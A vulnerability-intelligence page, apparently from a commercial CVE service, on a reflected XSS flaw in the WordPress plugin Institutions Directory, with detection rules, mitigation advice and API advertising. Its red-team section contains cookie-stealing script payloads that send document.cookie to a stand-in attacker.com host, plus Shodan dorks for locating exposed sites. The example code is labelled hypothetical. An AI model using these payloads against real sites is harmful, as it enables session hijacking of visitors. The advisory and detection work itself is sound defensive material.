☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
E-plugins logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-58638

CVE-2025-58638 Cross-Site Scripting in E-plugins
📅 PUBLISHED: 2025-11-06 15:54 UTC 🔄 UPDATED: 2026-10-08 23:10 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.03%
👁️
0.03% probability
<1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 7.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
7.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-58638 is a reflected Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Institutions Directory by e-plugins, affecting versions through 1.3.3. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. With a CVSS score of 7.1 (High), this flaw can be exploited without authentication, requiring only user interaction (e.g., clicking a crafted link). As of this report, no official patch is available, and the vendor's status is marked as UNKNOWN/UNPATCHED. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant for targeted attacks.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is installed on WordPress sites and is vulnerable to reflected XSS via crafted URLs. Attackers can leverage this to steal session cookies, deface pages, or redirect users to malicious sites. Since WordPress is a widely used CMS, the impact could be broad if the plugin is popular.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): Required (R) – Victim must click a malicious link.
  • Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited data exposure (e.g., cookies).
  • Integrity (I): Low (L) – Limited ability to modify content.
  • Availability (A): None (N) – No impact on availability.

Threat Level: High (7.1). The vulnerability is easy to exploit and can lead to session hijacking or phishing attacks.

Deep Dive & Mechanics

The vulnerability exists in the institutions-directory plugin, which likely processes user input via GET or POST parameters without proper sanitization. In a reflected XSS attack, the malicious script is embedded in a URL and reflected back to the user in the HTTP response. For example, a parameter like ?search=<script>alert(1)</script> might be echoed into the page without encoding.

The root cause is the use of functions like echo $_GET['param'] or print_r($_REQUEST) without applying esc_html() or htmlspecialchars(). WordPress provides built-in functions like esc_html() and esc_attr() to prevent XSS, but the plugin fails to use them.

Attack Flow:

  1. Attacker crafts a URL: https://victim-site.com/?page_id=123&search=<script>document.location='https://attacker.com/steal.php?c='+document.cookie</script>
  2. Victim clicks the link (e.g., via phishing email).
  3. The plugin reflects the search parameter into the page without sanitization.
  4. The browser executes the script, sending the victim's cookies to the attacker.

Vulnerable vs. Patched Code

Since no patch is available, we can only infer the vulnerable pattern. A typical vulnerable code snippet in WordPress plugins might look like:

// Vulnerable code (institutions-directory <= 1.3.3)
$search = $_GET['search'];
echo "<div>Search results for: " . $search . "</div>";

A patched version would use WordPress's escaping functions:

// Patched code (hypothetical)
$search = sanitize_text_field($_GET['search']);
echo "<div>Search results for: " . esc_html($search) . "</div>";

The key difference is the use of esc_html() which converts special characters like < and > to their HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

  • Install WordPress with Institutions Directory plugin version 1.3.3.
  • Use a local server (e.g., XAMPP, Docker) or a vulnerable test site.

Exploitation Steps:

  1. Identify a parameter that is reflected (e.g., search, s, q).
  2. Craft a payload: <script>alert('XSS')</script>.
  3. Send the URL to the victim (simulate via browser).
  4. For cookie theft, use: <script>new Image().src='http://attacker.com/steal.php?c='+document.cookie</script>

Example URL:

http://localhost/wordpress/?page_id=123&search=<script>alert(document.cookie)</script>

No Exploit-DB code provided.

Blue Team (Defensive)

Detection:

  • Monitor web server logs for suspicious query strings containing <script>, onerror=, javascript:.
  • Use WAF rules to block reflected XSS patterns.
  • Implement Content Security Policy (CSP) headers to restrict script execution.

Mitigation:

  • Since no patch exists, disable the plugin immediately.
  • Use a Web Application Firewall (WAF) with XSS rules.
  • Educate users not to click suspicious links.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP requests with query parameters containing <script>, %3Cscript%3E, or onerror=.
    • Outbound connections to unknown domains from the web server (cookie exfiltration).
  • File IOCs:
    • Plugin files: wp-content/plugins/institutions-directory/ (version <= 1.3.3).
  • Log IOCs:
    • Web server logs showing GET /?search=<script>... patterns.
    • Referer headers from phishing emails.

Detection Engineering

YARA Rule

rule CVE_2025_58638_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts targeting Institutions Directory plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-58638"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /javascript\s*:/i
        $plugin_path = "wp-content/plugins/institutions-directory"
    condition:
        any of ($xss*) and $plugin_path
}

Sigma Rule

title: Reflected XSS Attempt Against Institutions Directory Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with XSS payloads targeting the Institutions Directory plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '<script>'
            - 'onerror='
            - 'javascript:'
        cs-uri-stem|contains: 'wp-content/plugins/institutions-directory'
    condition: selection
falsepositives:
    - Legitimate use of script tags in search queries (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-58638 Reflected XSS in Institutions Directory"; flow:to_server,established; content:"GET"; http_method; content:"wp-content/plugins/institutions-directory"; http_uri; content:"<script>"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patch is released.
  2. Implement a WAF with XSS rules (e.g., ModSecurity with OWASP CRS).
  3. Add CSP headers to restrict inline scripts: Content-Security-Policy: default-src 'self'; script-src 'self'.
  4. Monitor logs for exploitation attempts.

Long-term Fix:

  • The vendor must release a patched version that uses esc_html() or sanitize_text_field() for all user inputs.
  • Alternatively, replace the plugin with a secure alternative.

Workaround:

  • If the plugin is critical, manually patch the vulnerable files by adding esc_html() around echoed variables.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Institutions Directory"
http.html:"wp-content/plugins/institutions-directory"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-58638/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.